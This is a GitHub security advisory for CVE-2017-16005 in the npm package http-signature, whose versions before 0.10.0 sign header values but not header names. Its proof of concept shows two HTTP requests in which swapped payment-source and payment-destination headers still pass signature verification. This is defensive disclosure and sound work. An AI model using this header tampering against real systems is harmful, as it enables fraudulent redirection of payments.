GitHub Advisoryadvisory · npm
GHSA-q257-vv4p-fg92 Header Forgery in http-signature
HIGH
Official page ↗
- Aliases
- CVE-2017-16005
- Ecosystem
- npm
- Packages
- http-signature
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-20
- Reviewed
- 2020-06-16
Affected packages
• npm http-signature: < 0.10.0 → fixed in 0.10.0
Description
Affected versions of `http-signature` contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature.
This problem occurs because vulnerable versions of `http-signature` sign the contents of headers, but not the header names.
Proof of Concept
Consider this to be the initial, untampered request:
```http
POST /pay HTTP/1.1
Host: example.com
Date: Thu, 05 Jan 2012 21:31:40 GMT
X-Payment-Source: [email protected]
X-Payment-Destination: [email protected]
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-source x-payment-destination" MDyO5tSvin5...
```
And the request is intercepted and tampered as follows:
```http
X-Payment-Source: [email protected] // Emails switched
X-Payment-Destination: [email protected]
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-destination x-payment-source" MDyO5tSvin5...
```
In the resulting responses, both requests would pass signature verification without issue.
```
[email protected]\n
[email protected]\n
```
Recommendation
Update to version 0.10.0 or higher.
Related
Alias · CVE (1)
- CVE-2017-16005 Http-signature is a "Reference implementation of Joyent's HTTP Signature Scheme". vulnerability
Weakness · CWE (1)
- CWE-20 Improper Input Validation weakness